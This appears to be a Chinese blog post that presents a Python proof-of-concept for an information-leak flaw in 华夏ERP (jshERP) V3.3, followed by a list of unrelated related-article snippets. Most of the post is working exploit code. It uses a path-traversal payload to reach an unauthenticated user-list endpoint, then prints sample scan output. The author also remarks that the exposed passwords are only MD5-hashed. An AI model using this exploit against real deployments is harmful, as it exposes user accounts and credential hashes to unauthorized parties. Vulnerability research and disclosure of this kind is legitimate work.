Python-Poc编写(5)

embedded/2024/9/23 14:02:06/

一、背景

此次编写的是圈子中分享的华夏ERP信息泄露(userList)漏洞;测试该漏洞目前还是存在的;经过挖掘发现该ERP使用的用户密码加密方式是属于MD5加密;这是一种容易被攻击这撞库的加密方式可以说和明文传输没有区别。

二、POC编写

import argparse
import requests
import sys# 创建poc模块接收参数
def cmd(url):# 创建payliadpayload = "/jshERP-boot/platformConfig/getPlatform/..;/..;/..;/jshERP-boot/user/getAllList"url1 = f"{url}{payload}"try:response = requests.get(url1, verify=False, timeout=3)  # 发送get请求,超时3秒if response.status_code == 200 and "userList" in response.text:print( f"【+】{url}存在该漏洞\n")else:print( f"【-】{url}不存在该漏洞\n")except Exception as e:print( f"【*】{url}存在异常;请检测!!\n")def main():# 字符画banner = """_____        _          _____            _    |  __ \      | |        |  __ \          | |   | |  | | __ _| |_ __ _  | |__) |__ _  ___| | __| |  | |/ _` | __/ _` | |  _  // _` |/ __| |/ /| |__| | (_| | || (_| | | | \ \ (_| | (__|   < |_____/ \__,_|\__\__,_| |_|  \_\__,_|\___|_|\_\作者:添衣&吹風  地址:https://blog.csdn.net/weixin_53884648"""print(banner)print("华夏ERP-V3.3")parser = argparse.ArgumentParser()parser.add_argument("-u", dest="url", required=True, default=None, help="请输入url地址")args = parser.parse_args()cmd(args.url)if __name__ == '__main__':main()

三、使用

python 华夏ERP.py -u http://x.x.x.x

  _____        _          _____            _
 |  __ \      | |        |  __ \          | |
 | |  | | __ _| |_ __ _  | |__) |__ _  ___| | __
 | |  | |/ _` | __/ _` | |  _  // _` |/ __| |/ /
 | |__| | (_| | || (_| | | | \ \ (_| | (__|   <
 |_____/ \__,_|\__\__,_| |_|  \_\__,_|\___|_|\_
作者:添衣&吹風  地址:https://blog.csdn.net/weixin_53884648


华夏ERP-V3.3
【+】http://x.x.x.x存在该漏洞


http://www.ppmy.cn/embedded/98479.html

相关文章

HCIP | 三层架构

目录 要求&#xff1a; 配置&#xff1a; 基础配置&#xff1a; R1 R2 DHCP LSW1 LSW2 eth-thrunk LSW1 LSW2 VLAN、trunk LSW1 LSW2 LSW3 LSW4 LSW5 STP LSW1 LSW2 LSW3 LSW4 LSW5 SVI LSW1 LSW2 vrrp LSW1 LSW2 IP配置 LSW1 LSW2 内网OSPF …

VUE3 无法修改 el-dialog 样式

用下面这种方式修改 el-dialog 组件样式一点作用都没有&#xff0c;正常用这种方式修改 el 的el-button、tab等都是百试不爽的。最后找到解决办法和原因。在el-dialog外面套一层div /deep/ .el-dialog { background: url(https://lanhu-oss.lanhuapp.com/7cbd761cd26f7b255086…

理解 RTTI:运行时类型信息

在 C 编程中&#xff0c;类型安全性和灵活性是关键的编程要素之一。运行时类型信息&#xff08;RTTI&#xff0c;Run-Time Type Information&#xff09;是 C 提供的一种机制&#xff0c;使得在运行时可以检查和处理对象的实际类型。RTTI 主要用于多态类中的类型检查和转换。本…

SQL,解析 json

Google BigQuery数据库的data表存储了若干多层的Json串&#xff0c;其中一条形如&#xff1a; [{"active":true,"key":"key1","values":[{"active":true,"value":"value1"}]},{"active":tru…

docker逃逸手法

docker逃逸手法 基本docker操作docker 命令dockerfilesDocker Compose漏洞利用容器漏洞 基本docker操作 docker 命令 # docker拉取 docker pull # 指定版本拉取 docker pull ubuntu:22.04# 显示镜像可执行的操作 docker image # 列出存储在本地系统上的所有图像 docker image…

C++实用函数CheatSheet

C实用函数CheatSheet 搜索 Name用于容器类的搜索等std::findstd::find_if带if后缀的一般最后一个参数都是谓词std::string::find容器类的成员函数&#xff0c;可用于查找是否存在特定的子字符串问题 可用于搜索容器中的特定元素&#xff0c;字符串子串的index等 移除 Name…

后端代码练习5--验证码案例

我们日常生活中&#xff0c;在进行应用程序注册或者登录的时候&#xff0c;出于安全性的考虑&#xff0c;我们都会被进行一项验证的操作&#xff0c;即通过网页给我们的图片进行一些列的操作&#xff0c;最终完成对我们身份的验证并给我们这些用户返回验证码&#xff0c;让我们…

【git命令相关】git上传和删除文件步骤

&#xff08;一&#xff09;git登录 1. git bash窗口输入 git config --global user.name "你的Git账号" git config --global user. Email "你的Git邮箱"2. 生成密钥 ssh-keygen -t rsa -C "你的Git邮箱"在此命令执行的返回结果中找到key存放…